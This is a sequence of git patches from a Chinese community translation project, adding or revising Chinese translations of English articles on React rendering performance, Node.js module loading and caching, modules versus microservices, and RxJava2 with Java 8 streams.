+为了防止（Redux 中）无用的绘制 connected 组件，你必须确保 `mapStateToProps` 方法每次调用不会返回新的对象。
+
 Take for instance the `<List>` component in admin-on-rest. It grabs the list of records for the current resource (e.g. posts, comments, etc) from the state using the following code:
 
+以 admin-on-rest 中的 `<List>` 组件为例。它用以下代码从 state 中为当前 resource 获取一系列记录（如：帖子，评论等）：
+
 ```
 // in List.js
 import React from 'react';
@@ -357,6 +452,8 @@ export default connect(mapStateToProps)(List);
 
 The state contains an array of all the previously fetched records, indexed by resource. For instance, `state.admin.posts.data` contains the list of posts:
 
+state 包含了一个数组，是上次获取的记录，以 resource 做索引。举例，`state.admin.posts.data` 包含了一系列帖子：
+
 ```
 {
     23: { id: 23, title: "Hello, World", /* ... */ },
@@ -367,6 +464,8 @@ The state contains an array of all the previously fetched records, indexed by re
 
 The `mapStateToProps` function filters this state object to return only the records actually displayed in the list. Something like:
 
+`mapStateToProps` 方法筛选 state 对象，只返回在 list 中展示的部分。如下所示：
+
 ```
 {
     23: { id: 23, title: "Hello, World", /* ... */ },
@@ -376,8 +475,12 @@ The `mapStateToProps` function filters this state object to return only the reco
 
 The problem is that each time `mapStateToProps` runs, it returns a new object, even if the underlying objects didn’t change. As a consequence, the `<List>` component rerenders every time something in the state changes - while id should only change if the date or ids change.
 
+问题是每次 `mapStateToProps` 执行，它会返回一个新的对象，即使底层对象没有被改变。结果，`<List>` 组件每次都会重绘，即使只有 state 的一部分改变了 - date 或 ids 改变造成 id 改变。
+
 [Reselect](https://github.com/reactjs/reselect) solves this problem by using memoization. Instead of computing the props directly in `mapStateToProps`, you use a *selector* from reselect, which returns the same output if the input didn’t change.
 
+[Reselect](https://github.com/reactjs/reselect) 通过备忘录模式解决这个问题。相比在 `mapStateToProps` 中直接计算 props，从 reselect 中用 **selector** 如果输入没有变化，则返回相同的输出。
+
 ```
 import React from 'react';
 import { connect } from 'react-redux';
@@ -413,12 +516,20 @@ export default connect(mapStateToProps)(List);
 
 Now the `<List>` component will only rerender if a subset of the state changes.
 
+现在 `<List>` 组件仅在 state 的子集改变时重绘。
+
 As for recompose, reselect selectors are pure functions, easy to test and compose. It’s a great way to code your selectors for Redux connected components.
 
+作为重组问题，reselect selector 是纯函数，易于测试和组合。它是为 Redux connected 组件编写 selector 的最佳方式。
+
 ## Beware of Object Literals in JSX
 
+## 当心 JSX 中的对象文字
+
 Once your components become more “pure”, you start detecting bad patterns that lead to useless rerenders. The most common is the usage of object literals in JSX, which I like to call “**The infamous {{**”. Let me give you an example:
 
+当你的组件变得更 “纯” 时，你开始检测坏模式，这将导致无用重绘。最常见的是 JSX 中对象文字的使用，我更喜欢称之为 "**臭名昭著的双大括号**"。请允许我举例说明：
+
 ```
 import React from 'react';
 import MyTableComponent from './MyTableComponent';
@@ -432,6 +543,8 @@ const Datagrid = (props) => (
 
 The `style` prop of the `<MyTableComponent>` component gets a new value every time the `<Datagrid>` component is rendered. So even if `<MyTableComponent>` is pure, it will be rendered every time `<Datagrid>` is rendered. In fact, each time you pass an object literal as prop to a child component, you break purity. The solution is simple:
 
+每次 `<Datagrid>` 组件重绘，`<MyTableComponent>` 组件的 `style` 属性都会得到一个新值。所以即使 `<MyTableComponent>` 是纯的，每次 `<Datagrid>` 重绘时它也会跟着重绘。事实上，每次把对象文字当做属性值传递到子组件时，你就打破了纯函数。解法很简单：
+
 ```
 import React from 'react';
 import MyTableComponent from './MyTableComponent';
@@ -446,8 +559,12 @@ const Datagrid = (props) => (
 
 This looks very basic, but I’ve seen this mistake so many times that I’ve developed a sense for detecting the infamous `{{` in JSX. I routinely replace it with constants.
 
+这看起来很基础，但是我见过太多次这个错误，因而生成了检测臭名昭著的 `{{` 的敏锐直觉。我把他们一律替换成常量。
+
 Another usual suspect for hijacking pure components is `React.cloneElement()`. If you pass a prop by value as second parameter, the cloned element will receive new props at every render.
 
+另一个常用来劫持纯函数的 suspect 是 `React.cloneElement()`。如果你把 prop 值作为第二参数传入方法，每次渲染就会生成一个带新 props 的新 clone 组件。
+
 ```
 // bad
 const MyComponent = (props) => <div>{React.cloneElement(Foo, { bar: 1 })}</div>;
@@ -459,6 +576,8 @@ const MyComponent = (props) => <div>{React.cloneElement(Foo, additionalProps)}</
     
 This has bitten me a couple times with [material-ui](http://www.material-ui.com/#/), for instance with the following code:
 
+[material-ui](http://www.material-ui.com/#/) 已经困扰了我一段时间，举例如下：
+
 ```
 import { CardActions } from 'material-ui/Card';
 import { CreateButton, RefreshButton } from 'admin-on-rest';
@@ -475,6 +594,8 @@ export default Toolbar;
 
 Although `<CreateButton>` is pure, it was rendered every time `<Toolbar>` was rendered. That’s because material-ui’s `<CardActions>` adds a special style to its first child to accommodate for margins - and it does so with an object literal. So `<CreateButton>` received a different `style` prop every time. I solved it using recompose’s `onlyUpdateForKeys()` HOC.
 
+尽管 `<CreateButton>` 是纯函数，但每次 `<Toolbar>` 绘制它也会绘制。那是因为 material-ui 的 `<CardActions>` 添加了一个特殊 style，为了使第一个子节点适应 margin - 它用了一个对象文字来做这件事。所以 `<CreateButton>` 每次都收到不同的 `style` 属性。我用 recompose 的 `onlyUpdateForKeys()` HOC 解决了这个问题。
+
 ```
 // in Toolbar.js
 import onlyUpdateForKeys from 'recompose/onlyUpdateForKeys';
@@ -488,12 +609,20 @@ export default onlyUpdateForKeys(['basePath', 'refresh'])(Toolbar);
 
 ## Conclusion
 
+## 结论
+
 There are many other things you should do to keep your React app fast (using keys, lazy loading heavy routes, the `react-addons-perf` package, using ServiceWorkers to cache app state, going isomorphic, etc), but implementing `shouldComponentUpdate` correctly is the first step - and the most rewarding.
 
+还有许多可以使 React 应用更快的方法（使用 keys，懒加载重路由，`react-addons-perf` 包，使用 ServiceWorkers 缓存应用状态，使用同构等等），但正确实现 `shouldComponentUpdate` 是第一步 - 也是最有用的。
+
 React isn’t fast by default, but it offers all the tools to be fast whatever the size of the application. This may seem counterintuitive, especially since many frameworks offering an alternative to React claim themselves as n times faster. But React puts developer experience before performance. That’s the reason why developing large apps with React is such a pleasant experience, without bad surprises, and a constant implementation rate.
 
+React 默认是不快的，但是无论是什么规模的应用，它都提供了许多工具来加速。这也许是违反直觉的，尤其自从许多框架提供了 React 的替代品，它们声称比 React 快 n 倍。但 React 把开发者的体验放在了性能之前。这也是为什么用 React 开发大型应用是个愉快的体验，没有差劲的惊喜，只有不变的实现速度。
+
 Just remember to profile your app every once in a while, and dedicate some time to add a few `pure()` calls where it’s needed. Don’t do it first, or spend too much time to over optimize each and every component - except if you’re on mobile. And remember to test on various devices to get a good impression of your app’s responsiveness from a user’s point of view.
 
+只要记住，每隔一段时间 profile 你的应用，让出一些时间在必要的地方添加一些 `pure()` 调用。别一开始就做优化，别花费过多时间在每个组件的过度优化上 - 除非你是在移动端。记住测试不同设备，从用户观点得到对你的应用响应式的良好印象。
+
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From fd8b3bbba49131282248c1320e52da2aeac61442 Mon Sep 17 00:00:00 2001
From: joint <joint@jointhhh.local>
Date: Wed, 5 Apr 2017 05:04:47 +0800
Subject: [PATCH 039/638] done

---
 ...-in-node-js-everything-you-need-to-know.md | 96 ++++++++++---------
 1 file changed, 49 insertions(+), 47 deletions(-)

diff --git a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
index 4074986cbae..9133ecf78bc 100644
--- a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
+++ b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
@@ -491,19 +491,20 @@ module.exports = { id: 42 }; // 有效
 这个 `exports` 对象看起来对所有模块都是全局的，它是如何被定义成 `module` 对象的引用的呢？
 
 Let me ask one more question before explaining Node’s wrapping process.
-在解释 Node 的打包进程前，再
+在解释 Node 的打包进程前，让我们再来思考一个问题：
 
 In a browser, when we declare a variable in a script like this:
+在浏览器中，我们在脚本里声明如下变量：
 
 ```
 var answer = 42;
 ```
 
-That `answer` variable will be globally available in all scripts after the script that defined it.
+`answer` 变量对声明该变量的脚本后的所有脚本来说都是全局的。
 
-This is not the case in Node. When we define a variable in one module, the other modules in the program will not have access to that variable. So how come variables in Node are magically scoped?
+然而在 Node 中却不是这样的。我们在一个模块中定义了变量，项目中的其他模块却将无法访问该变量。那么在 Node 中是如何神奇地做到为变量是限定作用域的呢？
 
-The answer is simple. Before compiling a module, Node wraps the module code in a function, which we can inspect using the `wrapper` property of the `module` module.
+答案很简单。在编译模块前，Node 就将模块代码封装在一个函数中，我们可以使用 `module` 模块的 `wrapper` 属性来查看。
 
 ```
 ~ $ node
@@ -513,13 +514,13 @@ The answer is simple. Before compiling a module, Node wraps the module code in a
 >
 ```
 
-Node does not execute any code you write in a file directly. It executes this wrapper function which will have your code in its body. This is what keeps the top-level variables that are defined in any module scoped to that module.
+Node 并不会执行你直接在文件中写入的任何代码。它仅仅执行你的代码通过封装得到的封装函数。这就保证了所有模块中定义的顶级变量的作用域都被限定在该模块中。
 
-This wrapper function has 5 arguments: `exports`, `require`, `module`, `__filename`, and `__dirname`. This is what makes them appear to look global when in fact they are specific to each module.
+这个封装函数包含五个参数：`exports`、`require`、`module`、`__filename` 和 `__dirname`。这些参数看起来像是全局的，实际上却是每个模块特定的。
 
-All of these arguments get their values when Node executes the wrapper function. `exports` is defined as a reference to `module.exports` prior to that. `require` and `module` are both specific to the function to be executed, and `__filename`/`__dirname` variables will contain the wrapped module’s absolute filename and directory path.
+在 Node 执行封装函数的同时，以上这几个参数都获取到了它们的值。`exports` 被定义为对上一级 `module.exports` 的引用。`require` 和 `module` 都是特定于被执行函数的，而 `__filename`/`__dirname` 变量将包含被封装模块的文件名和目录的绝对路径。
 
-You can see this wrapping in action if you run a script with a problem on its first line:
+如果你在一个脚本的第一行编写一行错误代码并执行它，你就能看到实际的封装过程：
 
 ```
 ~/learn-node $ echo "euaohseu" > bad.js
@@ -531,9 +532,9 @@ You can see this wrapping in action if you run a script with a problem on its fi
 ReferenceError: euaohseu is not defined
 ```
 
-Note how the first line of the script as reported above was the wrapper function, not the bad reference.
+>注意：这里脚本第一行是作为封装函数中的代码报错的，而不是错误的引用。
 
-Moreover, since every module gets wrapped in a function, we can actually access that function’s arguments with the `arguments` keyword:
+此外，由于每个模块都被封装在一个函数中，我们可以使用 `arguments` 关键字访问该函数的参数：
 
 ```
 ~/learn-node $ echo "console.log(arguments)" > index.js
@@ -567,29 +568,29 @@ Moreover, since every module gets wrapped in a function, we can actually access
   '4': '/Users/samer' }
 ```
 
-The first argument is the `exports` object, which starts empty. Then we have the `require`/`module` objects, both of which are instances that are associated with the `index.js` file that we’re executing. They are not global variables. The last 2 arguments are the file’s path and its directory path.
+第一个参数是 `exports` 对象，初始值为空。`require`/`module` 对象都是与当前执行的 `index.js` 文件关联的示例。它们不是全局变量。最后两个参数分别为当前文件路径和目录路径。
 
-The wrapping function’s return value is `module.exports`. Inside the wrapped function, we can use the `exports` object to change the properties of `module.exports`, but we can’t reassign exports itself because it’s just a reference.
+封装函数的返回值是 `module.exports`。在封装函数中，我们可以使用 `exports` 对象更改 `module.exports` 的属性，但是由于它仅仅是一个引用，我们无法对其重新赋值。
 
-What happens is roughly equivalent to:
+情况大致如下：
 
 ```
 function (require, module, __filename, __dirname) {
   let exports = module.exports;
 
-  // Your Code...
+  // 你的代码…
 
   return module.exports;
 }
 ```
 
-If we change the whole `exports` object, it would no longer be a reference to `module.exports`. This is the way JavaScript reference objects work everywhere, not just in this context.
+如果我们更改了整个 `exports` 对象，它将不再是对 `module.exports` 的引用。并不仅仅是在这个上下文中，JavaScript 引用对象在所有场景下的工作模式都是如此。
 
-#### The require object ####
+#### require 对象 ####
 
-There is nothing special about `require`. It’s an object that acts mainly as a function that takes a module name or path and returns the `module.exports` object. We can simply override the `require` object with our own logic if we want to.
+`require` 没有什么特别的。它作为一个函数对象，接收一个模块名称或路径，返回 `module.exports` 对象。我们也可以用我们自己的逻辑重写 `require` 对象。
 
-For example, maybe for testing purposes, we want every `require` call to be mocked by default and just return a fake object instead of the required module exports object. This simple reassignment of require will do the trick:
+举个例子，为了测试的目的，我们希望每个 `require` 调用默认为 mocked 并返回一个假的对象，而不是引用的模块所导出的对象。这个对 require 的简单重新赋值会这样实现：
 
 ```
 require = function() {
@@ -599,16 +600,16 @@ require = function() {
 }
 ```
 
-After doing the above reassignment of `require`, every `require('something') `call in the script will just return the mocked object.
+经过以上对 `require` 重新赋值后，脚本中的每个 `require('something')` 调用都会返回 mocked 对象。
 
-The require object also has properties of its own. We’ve seen the `resolve` property, which is a function that performs only the resolving step of the require process. We’ve also seen `require.extensions` above.
+require 对象也有它自己的属性。我们已经认识了 `resolve` 属性，它是在整个引用进程中执行解析步骤的函数。我们也见识了 `require.extensions`。
 
-There is also `require.main` which can be helpful to determine if the script is being required or run directly.
+还有 `require.main` 属性，有助于判断当前脚本是正被引用还是直接执行。
 
-Say, for example, that we have this simple `printInFrame` function in `print-in-frame.js`:
+举个例子，我们在 `print-in-frame.js` 中定义一个简单的 `printInFrame` 函数：
 
 ```
-// In print-in-frame.js
+// 在 print-in-frame.js 中
 
 const printInFrame = (size, header) => {
   console.log('*'.repeat(size));
@@ -617,19 +618,19 @@ const printInFrame = (size, header) => {
 };
 ```
 
-The function takes a numeric argument `size` and a string argument `header` and it prints that header in a frame of stars controlled by the size we specify.
+该函数使用一个数字型参数 `size` 和一个字符串型参数 `header`，并在我们指定大小的星号框中将标题打印出来。
 
-We want to use this file in two ways:
+我们希望通过两种方式执行该文件：
 
-1. From the command line directly like this:
+1. 在命令行下直接运行：
 
 ```
 ~/learn-node $ node print-in-frame 8 Hello
 ```
 
-Passing 8 and Hello as command line arguments to print “Hello” in a frame of 8 stars.
+将 8 和 Hello 作为命令行参数，打印出由8个星号组成的框以及 “Hello”。
 
-2. With `require`. Assuming the required module will export the `printInFrame` function and we can just call it:
+2. 使用 `require`。假设被引用的模块会导出 `printInFrame` 函数，我们可以这样调用它：
 
 ```
 const print = require('./print-in-frame');
@@ -637,22 +638,22 @@ const print = require('./print-in-frame');
 print(5, 'Hey');
 ```
 
-To print the header “Hey” in a frame of 5 stars.
+打印由五个星号组成的框以及其中的标题 “Hey”。
 
-Those are two different usages. We need a way to determine if the file is being run as a stand-alone script or if it is being required by other scripts.
+以上是两种不同的用法。我们需要一种方法来确定该文件是作为独立脚本运行还是被其他脚本引用时运行。
 
-This is where we can use this simple if statement:
+此时我们可以使用简单的 if 声明语句：
 
 ```
 if (require.main === module) {
-  // The file is being executed directly (not with require)
+  // 该文件正被直接运行
 }
 ```
 
-So we can use this condition to satisfy the usage requirements above by invoking the printInFrame function differently:
+所以我们可以使用这个条件来满足以上的使用需求，通过不同的方式调用 printInFrame 函数。
 
 ```
-// In print-in-frame.js
+// 在 print-in-frame.js 中
 
 const printInFrame = (size, header) => {
   console.log('*'.repeat(size));
@@ -667,32 +668,33 @@ if (require.main === module) {
 }
 ```
 
-When the file is not being required, we just call the `printInFrame` function with `process.argv` elements. Otherwise, we just change the `module.exports` object to be the `printInFrame` function itself.
+如果文件没有被引用，我们调用使用 `process.argv` 参数的 `printInFrame` 函数。否则我们就将 `module.exports` 对象替换为 `printInFrame` 函数自身。
 
-#### All modules will be cached ####
+#### 所有模块都将被缓存 ####
 
-Caching is important to understand. Let me use a simple example to demonstrate it.
+理解缓存非常重要。下面我用一个简单的例子来演示一下。
+
+假设你有以下 `ascii-art.js` 文件，它能打印出一个很酷的标题：
 
-Say that you have the following `ascii-art.js` file that prints a cool looking header:
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/1000/1*yZ57VtXUuEo-nQSs9VztvQ.png">
 
-We want to display this header every time we *require* the file. So when we require the file twice, we want the header to show up twice.
+我们希望在每次 **引用** 该文件时都显示这个标题。因此如果我们引用了两次该文件，我们希望标题显示两次。
 
 ```
-require('./ascii-art') // will show the header.
-require('./ascii-art') // will not show the header.
+require('./ascii-art') // 显示标题
+require('./ascii-art') // 不显示标题
 ```
 
-The second require will not show the header because of modules’ caching. Node caches the first call and does not load the file on the second call.
+由于模块缓存，第二次的引用将不会显示标题。Node 将缓存第一次调用，在第二次调用时并不会加载文件。
 
-We can see this cache by printing `require.cache` after the first require. The cache registry is simply an object that has a property for every required module. Those properties values are the `module` objects used for each module. We can simply delete a property from that `require.cache` object to invalidate that cache. If we do that, Node will re-load the module to re-cache it.
+我们可以通过在第一次引用后打印 `require.cache` 来查看缓存。缓存注册是一个对象，对应每个模块都有特定属性。这些属性值即用于各模块的 `module` 对象。我们可以通过简单地从 `require.cache` 对象中删除一个属性来令该缓存失效，然后 Node 就会再次加载并缓存该模块。
 
-However, this is not the most efficient solution for this case. The simple solution is to wrap the log line in `ascii-art.js` with a function and export that function. This way, when we require the `ascii-art.js` file, we get a function that we can execute to invoke the log line every time:
+然而，这并不是应对这种情况最高效的解决方案。简单的解决办法是将 `ascii-art.js` 中的打印代码用一个函数封装起来并导出该函数。通过这种方式，每当我们引用 `ascii-art.js` 文件时，我们就能获取到一个可执行函数，以供我们多次调用打印代码：
 
 ```
-require('./ascii-art')() // will show the header.
-require('./ascii-art')() // will also show the header.
+require('./ascii-art')() // 显示标题
+require('./ascii-art')() // 显示标题
 ```
 
-That’s all I have for this topic. Until next time!
+以上就是我关于本次主题所要讲述的全部内容。回见！

From 4820bcfcdf9ffba93ebb07b4cbbac0437809ebb9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=82=98=E5=AD=90=E6=B6=B5?= <abbey357423606@hotmail.com>
Date: Wed, 5 Apr 2017 05:09:53 +0800
Subject: [PATCH 040/638] Update
 requiring-modules-in-node-js-everything-you-need-to-know.md

---
 ...requiring-modules-in-node-js-everything-you-need-to-know.md | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
index 9133ecf78bc..5bbc332cab9 100644
--- a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
+++ b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
@@ -4,8 +4,7 @@
 > * 译者：[zhouzihanntu](https://github.com/zhouzihanntu)
 > * 校对者：
 
-# Requiring modules in Node.js: Everything you need to know #
-# 在 Node.js 中引用模块 #
+# 关于在 Node.js 中引用模块，知道这些就够了 #
 
 ## Node.js 中模块化的工作原理 ##
 

From 33116affbac9de53d42b57099516e38c699c7e13 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Wed, 5 Apr 2017 20:56:00 +0800
Subject: [PATCH 041/638] =?UTF-8?q?=E4=B8=80=E6=A0=A1=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/modules-vs-microservices.md | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/TODO/modules-vs-microservices.md b/TODO/modules-vs-microservices.md
index 7e550ed2c06..743f181583e 100644
--- a/TODO/modules-vs-microservices.md
+++ b/TODO/modules-vs-microservices.md
@@ -2,15 +2,15 @@
 > * 原文作者：[Sander Mak](https://www.oreilly.com/people/sander_mak)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[lsvih](https://github.com/lsvih)
-> * 校对者：
+> * 校对者：[steinliber](https://github.com/steinliber),[DeadLion](https://github.com/DeadLion)
 
 # 模块化 vs. 微服务
 
-在应用模块化系统设计原则的同时，避免微服务的复杂性。
+在避免微服务复杂性的同时，应用模块化系统设计设计原则。
 
 ![](https://d3tdunqjn7n0wj.cloudfront.net/360x240/container-227877_1920-0db52b796e6b80d98f6df2d01a6ee4fb.jpg)
 
-从单体式应用向微服务架构迁移已经是老生常谈的话题了。除了过过嘴瘾，似乎真的动手将单体式应用拆分成微服务也不是什么很困难的事。但是这种做法真的是你们团队的最佳选择吗？维护一个凌乱的单体式应用的确很伤脑筋，但是还有另一种强有力的替代方案常常被人忽视：模块化应用开发。本文将探讨这种替代方案，并展现其与构建微服务的关系。
+从单体式应用向微服务架构迁移已经是老生常谈的话题了。除了过过嘴瘾，似乎真的动手将单体式应用拆分成微服务也不是什么很困难的事。但是这种做法真的是你们团队的最佳选择吗？维护一个凌乱的单体式应用的确很伤脑筋，但是还有另一种强有力但常常被人忽视的替代方案：模块化应用开发。本文将探讨这种替代方案，并展现其与构建微服务的关系。
 
 ## 模块化微服务
 
@@ -46,7 +46,7 @@
 
 ## 模块设计
 
-创建好的模块和创建好的微服务一样，都需要严谨的设计。一个模块应该基于其域的有界上下文建模（DDD）。选择微服务的边界是架构上重要的决策，一旦出错就可能要付出沉重的代价。相较而言，模块化应用程序模块的边界更容易修改一些。模块间的重构通常由类型系统和编译器支持。微服务边界的重新划分则涉及大量的进程间通信（IPC），以确保运行时稳定性。老实说，你真的一次就能正确的划分好边界？
+创建好的模块和创建好的微服务一样，都需要严谨的设计。一个模块应该基于其域的有界上下文建模（DDD）。选择微服务的边界是架构上重要的决策，一旦出错就可能要付出沉重的代价。相较而言，模块化应用程序模块的边界更容易修改一些。模块间的重构通常由类型系统和编译器支持。微服务边界的重新划分则涉及大量的进程间通信（IPC），以确保运行时稳定性。老实说，你真的只用一次两次就能正确的划分好边界？
 
 在许多方面，静态语言的模块为了定义明确的接口而提供了更好的结构。通过调用另一个模块暴露的接口提供的方法，比去调用另一个微服务的 REST 端点健壮性要强的多。REST+JSON 现在无处不在，但在没有编译器检查的情况下，它并没有”类型良好的互通性“这个特点。而事实上，通过网络序列化（或者反序列化）数据并不是无开销的，甚至这种传输方式更加逊色。此外，许多模块化系统允许你表明此模块对于其它模块的依赖关系，模块系统将不允许违背这些依赖关系的情况出现。而微服务之间的依赖关系只在运行时实现，导致系统难以调试。
 
@@ -62,15 +62,15 @@
 
 当你的团队有如同 Google 或者 Netflix 般的规模的时候，拥抱微服务是毋庸置疑的。你有能力去建立你自己的平台与工具库，并且工程师的数量排除了任何使用单体式解决方案的可能。但是大多数的组织都达不到这个规模。即使你认为你的公司有朝一日将成为一个市值十亿美元的独角兽，在刚起步时使用模块化的单体式应用也无伤大雅。
 
-另一个拆分微服务的理由是：不同的服务在实现上更适合适用不同的技术栈。那么，你必须有足够的规模来吸引人才以解决这些迥然不同的技术栈，并支持这些平台的运行。
+另一个拆分微服务的理由是：不同的服务在实现上更适合使用不同的技术栈。那么，你必须有足够的规模来吸引人才以解决这些迥然不同的技术栈，并支持这些平台的运行。
 
 微服务还可以做到独立部署系统的不同部分，这在大多数模块化平台中很难（甚至不可能）实现。隔离部署增加了系统的弹性与容错能力。此外，每个微服务的缩放特性可以是不同的，可以部署不同的微服务以匹配硬件。模块化的单体式应用可以进行水平缩放，但是只能将所有模块捆绑在一起同时进行拓展。虽然你可以通过这种方法得到很多好处，但这可能并不是最好的解决方案。
 
 ## 总结
  
-总之，最好的方案就是找到一个折中的点。这两种方案都有可取之处，需要根据实际环境、组织和应用本身进行选择。既然你可以在之后迁移成微服务架构，那为什么最开始不直接使用模块化应用呢？如果你已经划分好了模块边界，你也不必去拆分你的单体式应用。甚至你还可以在模块内部搭建微服务架构。那么问题就变成了：为什么微服务一定要是”微“的呢？
+总之，最好的方案就是找到一个折中的点。这两种方案都有可取之处，需要根据实际环境、组织和应用本身进行选择。既然你可以在之后迁移成微服务架构，那为什么最开始不直接使用模块化应用呢？如果你之前就已经划分好了模块边界，那也就不需要再去拆分你的单体式应用了。甚至你还可以在模块内部搭建微服务架构。那么问题就变成了：为什么微服务一定要是”微“的呢？
 
-即使你的应用刚从模块化应用转成微服务架构，服务也不必非得很“微”才具备可维护性。在服务中应用模块化原则能让它们超越通常微服务具有的复杂性。现在这份蓝图中既有微服务也有模块，减少架构中的服务的数量可以节约成本；而其中的模块可以像构建单体式应用一样，构建和扩展服务。
+即使你的应用刚从模块化应用转成微服务架构，服务也不必非得很“微”才具备可维护性。在服务中应用模块化原则能让它们在复杂度的可扩展性上超越通常的微服务。现在这份蓝图中既有微服务也有模块，减少架构中的服务的数量可以节约成本；而其中的模块可以像构建单体式应用一样，构建和扩展服务。
 
 如果你追求模块化的好处，请确保自己不要自嗨进入一种“非微服务不可”的心态。探索你喜爱的技术栈中的同进程模块化功能或框架，你将会得到支持去真正的执行模块化设计，而不是仅靠着约定来避免“意大利面条式代码”。最后，请深思熟虑后再选择：你是否愿意接受引入微服务造成的复杂度成本。有的时候你别无选择，但更多的时候其实你可以找到更好的解决方案。
 

From 9b5f8af8db65a17ef8d586c9393cf068a59d6f34 Mon Sep 17 00:00:00 2001
From: Boiler Yao <Boiler Yao>
Date: Wed, 5 Apr 2017 21:43:15 +0800
Subject: [PATCH 042/638] war-against-rxjava-java8-stream-translated

---
 ...ava-8-stream-android-rxjava2-hell-part4.md | 270 +++++++++---------
 1 file changed, 134 insertions(+), 136 deletions(-)

diff --git a/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md b/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md
index 2e671b3ea8a..bdc42075a07 100644
--- a/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md
+++ b/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md
@@ -1,114 +1,112 @@
-> * 原文地址：[War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/)
+> * 原文地址：[War against Learning Curve of RxJava2 + Java8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/)
 > * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：
 
 
-## War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4 ##
+## 大战 RxJava2 和 Java8 Stream [ Android RxJava2 ] （这到底是什么） 第四部分 ##
 
 
 
-WOW, we got one more day so its time to make this day awesome by learning something new .
+又是新的一天，如果学点新东西，这一天一定会很酷炫。
 
-Hello guys, hope you are doing good. This is our fourth post in series of RxJava2 Android [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/) ]. Good news is at last we are ready to start work with Rx. We already completed our prerequisites. I will use Java 8 streams for reactiveness before using Rx Java 2 Android Observables. I think we should know Java 8 and I have a feeling by using Java 8 stream API’s, learning curve of Rx Java 2 Android will be more easy.
+小伙伴们一切顺利啊，这是我们的 RxJava2 Android 系列的第四部分 [ [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)， [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)， [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) ]。 好消息是我们已经满足了一些先决条件，已经准备好用 Rx 来工作了。在使用 RxJava2 Android Observable 之前，我会先用 Java8 的 Stream 来做响应式编程。我认为我们应该了解 Java8，我还感觉通过使用 Java8 的流式 API 会让 RxJava2 Android 的学习曲线更简单。
 
-**Motivation:**
+**动机：**
 
-Motivation is same which I share with you in [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/). When I started Rx Java 2 Android at that time I don’t know how and where I will use Rx Java Android.
+动机跟我在 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md) 和大家分享过的一样。在我开始学习 RxJava2 Android 的时候，我并不知道我该怎样使用、在什么地方使用它。
 
-Now we know prerequisites but at that time I don’t know anything. So at that time first I started, how to create a Observable from any data or object. Then I learned about which interfaces or may be I can say callbacks called when some thing happen in Observable data. That is going good theoretically but the day when I start working with Rx practically. I am gone. I saw lot of marble diagrams which make sense theoretically but when I try to use, nothing make sense for me :). Biggest issue for me, I am not able to make my thinking as Reactive or Functional Reactive. My background is working with Imperative and OOP languages so that it is difficult for me. I am always asking these questions. Where I will implement and how I will implement. In this post if you follow I can give you 100% guarantee. You will know. How convert imperative code into Rx not optimised but you will know where to start.
